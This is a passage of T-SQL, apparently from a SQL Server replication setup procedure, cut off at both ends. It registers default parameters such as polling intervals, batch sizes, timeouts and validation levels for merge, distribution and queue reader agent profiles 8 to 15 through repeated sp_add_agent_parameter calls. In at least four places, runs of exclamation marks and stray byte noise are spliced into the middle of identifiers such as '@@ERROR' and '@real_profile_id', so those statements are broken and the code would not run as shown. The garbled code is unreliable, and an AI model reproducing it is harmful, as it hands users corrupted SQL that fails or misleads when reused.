        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SrcThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DestThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-MetadataRetentionCleanup',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MakeGenerationInterval',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE            
    end

    /* 
    ** Merge agent : Default profile for well connected scenarios - Verbose history logging 
    */
    else if (@profile_id = 8)
        begin
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-StartQueueTimeout',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDownloadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxUploadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ValidateInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '300'        
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-Validate',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-FastRowCount',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '3'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ChangesPerHistory',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '100000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-NumDeadlockRetries',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SrcThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DestThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(L&$Y vt1ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-MetadataRetentionCleanup',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MakeGenerationInterval',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

    end

    /* 
    ** Merge agent : (Synchronization Manager Profile)
    */
    else if (@profile_id = 9)
        begin
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-StartQueueTimeout',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDownloadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxUploadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ValidateInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-Validate',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-FastRowCount',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ChangesPerHistory',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '1000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-NumDeadlockRetries',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SrcThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DestThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-MetadataRetentionCleanup',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MakeGenerationInterval',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE


    end

    /* 
    ** Distribution agent (Synchronization Manager Profile)
    */
    else if (@profile_id = 10)
        begin
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(M&*9$vt1_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '2147473647'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchSize',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchThreshold',
                @parameter_value = '1000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDeliveredTransactions',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '1800'        -- 30 minutes 
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-TransactionsPerHistory',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SkipErrors',
                @parameter_value = ''
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        end
    
    /* 
    ** Queue Reader agent default profile
    */
    else if (@profile_id = 11)
    begin
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '1800'        -- 30 minutes 
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
    end
      
    /* 
    ** Merge agent : Rowcount Validation profile for well connected scenarios 
    */
    else if (@profile_id = 12)
    begin
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE


        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-StartQueueTimeout',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDownloadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxUploadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ValidateInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '300'        
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadWriteChangesPerBatch',
                @param!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(N&.\vt1eter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-Validate',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-FastRowCount',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ChangesPerHistory',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '100000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-NumDeadlockRetries',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SrcThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DestThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-MetadataRetentionCleanup',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MakeGenerationInterval',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE            
    end

    /* 
    ** Merge agent : Rowcount & Checksum Validation profile for well connected scenarios 
    */
    else if (@profile_id = 13)
    begin
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-StartQueueTimeout',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDownloadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxUploadChanges',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-ValidateInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '300'        
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadGenerationsPerBatch',
                @parameter_value = '50'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadReadChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-UploadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DownloadWriteChangesPerBatch',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-Validate',
                @parameter_value = '3'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-FastRowCount',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-Change!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(OL'vG-vt1sPerHistory',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '100000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-NumDeadlockRetries',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SrcThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-DestThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-MetadataRetentionCleanup',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '2'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MakeGenerationInterval',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE
            
    end

    /* 
    ** Distribution agent, skip error profile
    */
    else if (@profile_id = 14)
      begin

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-BcpBatchSize',
                @parameter_value = '2147473647'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchSize',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-CommitBatchThreshold',
                @parameter_value = '1000'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-HistoryVerboseLevel',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-LoginTimeout',
                @parameter_value = '15'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxBcpThreads',
                @parameter_value = '1'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-MaxDeliveredTransactions',
                @parameter_value = '0'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '5'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-QueryTimeout',
                @parameter_value = '1800'        -- 30 minutes 
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-TransactionsPerHistory',
                @parameter_value = '100'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-SkipErrors',
                @parameter_value = '2601:2627:20598'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter
                @profile_id = @real_profile_id,
                @parameter_name = '-KeepAliveMessageInterval',
                @parameter_value = '300'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        end

    /* 
    ** Merge agent : Rowcount Validation profile for high volumn server-to-server
    */
    else if (@profile_id = 15)
    begin
        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
                @parameter_name = '-PollingInterval',
                @parameter_value = '60'
        if (@retcode = 1 or @@ERROR <> 0)
            goto FAILURE

        exec @retcode = sys.sp_add_agent_parameter 
                @profile_id = @real_profile_id,
